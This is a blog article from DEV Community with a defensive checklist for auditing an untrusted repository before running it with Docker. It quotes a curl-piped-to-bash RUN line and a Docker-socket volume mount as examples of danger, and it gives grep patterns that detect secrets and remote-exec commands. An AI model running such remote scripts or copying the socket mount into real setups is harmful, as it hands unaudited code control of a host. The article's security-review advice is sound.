You cloned a repo, read the README, and your fingers are already typing docker compose up. Stop. A third-party repository is untrusted input — and the build/run pipeline executes it. Most "it's just a demo repo" incidents I've audited started with a skipped two-minute review.
Here are seven checks, in the order that catches the most problems first. None takes more than a few minutes.
1. Read the Dockerfile line by line — especially RUN
The Dockerfile is the attack surface. Anything in a RUN instruction executes on your builder (and often inside your runtime):
RUN curl -s https://example.com/setup.sh | bash
curl | bash in a build is running an unaudited remote script with the builder's privileges. Watch for:
- remote scripts piped to a shell (
curl | sh,wget -qO- | bash); - downloads without checksum verification;
-
COPY --from=stages pulling from images you didn't expect; -
ARG/ENVvalues that look like credentials or endpoints you didn't anticipate.
If the repo generates its Dockerfile from templates or config (some frameworks do), audit the generator too — injection into generated Dockerfiles is a real vulnerability class, not a theoretical one.
2. Check what the base image actually is
FROM python:latest
latest means "whatever the registry serves today" — a moving target. Prefer pinned tags, better a digest:
FROM python:3.12-slim@sha256:...
Quick sanity: does the base image match the project's claimed stack? A "minimal Redis wrapper" building from a full Node monolith image deserves a second look.
3. Audit the compose ports and volumes
services:
db:
ports:
- "5432:5432"
volumes:
- /var/run/docker.sock:/var/run/docker.sock
Two classic mistakes:
-
Publishing ports to
0.0.0.0that the README says are "internal". Bind to localhost (127.0.0.1:5432:5432) unless you truly need exposure. - Mounting the Docker socket into a container. That hands the container root-equivalent control of your host. If a demo needs it, run it on a throwaway VM — not your workstation.
Also scan volume mounts for sensitive host paths (~/.ssh, ~/.aws, /etc).
4. Look at the CI workflows before you trust the badges
.github/workflows/*.yml run in the project's CI, but a malicious or sloppy workflow can also be a clue about the project's security culture:
- actions pinned by hash (
actions/checkout@<sha>) vs floating tags (@v4); - workflows that post secrets to external endpoints;
-
pull_request_targetworkflows running untrusted code with write tokens.
And remember: green badges prove tests pass, not that the code is safe.
5. Grep the repo for secrets and surprises
Sixty seconds that pay for themselves:
# obvious secret patterns
grep -rnE "(api[_-]?key|secret|token|password)\s*[:=]\s*['\"][A-Za-z0-9_/+=-]{12,}" . --include='*' | grep -v test
# remote-exec patterns
grep -rnE "curl[^|]*\|\s*(bash|sh)|wget[^|]*\|\s*(bash|sh)" .
# docker socket references
grep -rn "docker.sock" .
A committed production key is a red flag about the maintainers; a postinstall script that phones home is a red flag about the software.
6. Pin and review dependencies you'll actually run
For images you'll run locally:
docker compose config # what will actually run, with variables resolved
For package manifests, glance at the install hooks — postinstall/prepare scripts execute on install:
grep -A3 '"scripts"' package.json | grep -E 'postinstall|prepare|preinstall'
You don't need a full dependency audit for a weekend experiment. You need to know whether installing it runs code you haven't seen.
7. Run it like it's hostile
Last line of defense — isolation:
- run unfamiliar stacks on a VM or a dedicated machine, not your daily driver;
- use a separate browser profile/network for any UI it exposes;
- don't paste real credentials into a demo you haven't reviewed;
- keep the container runtime updated; consider
--read-onlyfilesystems and dropped capabilities for anything long-lived.
The two-minute habit
You won't do all seven every time. But checks 1, 3 and 5 catch the majority of real problems, and together they take about two minutes. Treat every third-party repo the way you treat a binary download from 2005: it doesn't get to run on your machine until you've decided it's allowed to.
What's the first thing you check in an unfamiliar repo? I'm collecting war stories — share yours in the comments.
This article was originally published by DEV Community and written by Denis Smoliakov.
Read original article on DEV Community